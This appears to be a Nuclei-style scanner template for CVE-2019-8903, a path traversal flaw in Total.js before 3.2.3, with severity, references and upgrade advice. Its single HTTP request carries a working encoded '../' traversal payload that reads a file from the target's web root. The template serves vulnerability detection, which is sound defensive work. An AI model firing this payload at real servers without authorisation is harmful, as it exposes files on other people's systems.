id: CVE-2019-8903

info:
  name: Totaljs <3.2.3 - Local File Inclusion
  author: madrobot
  severity: high
  description: Total.js Platform before 3.2.3 is vulnerable to local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Upgrade Totaljs to version 3.2.3 or later to fix the LFI vulnerability.
  reference:
    - https://blog.certimetergroup.com/it/articolo/security/total.js-directory-traversal-cve-2019-8903
    - https://github.com/totaljs/framework/commit/c37cafbf3e379a98db71c1125533d1e8d5b5aef7
    - https://github.com/totaljs/framework/commit/de16238d13848149f5d1dae51f54e397a525932b
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8903
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-8903
    cwe-id: CWE-22
    epss-score: 0.01071
    epss-percentile: 0.82663
    cpe: cpe:2.3:a:totaljs:total.js:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: totaljs
    product: total.js
    framework: node.js
  tags: cve2019,cve,totaljs,lfi,node.js

http:
  - method: GET
    path:
      - "{{BaseURL}}/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "apache2.conf"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ef018da3f2c771700041b2cf2bccfd4ed4b27fb1de21aafff551f5d677ac2d96022100e530fc937b9d2e5b939cacee9dc19413956ce91c625046f41c347f7dff85d0af:922c64590222798bb761d5b6d8e72950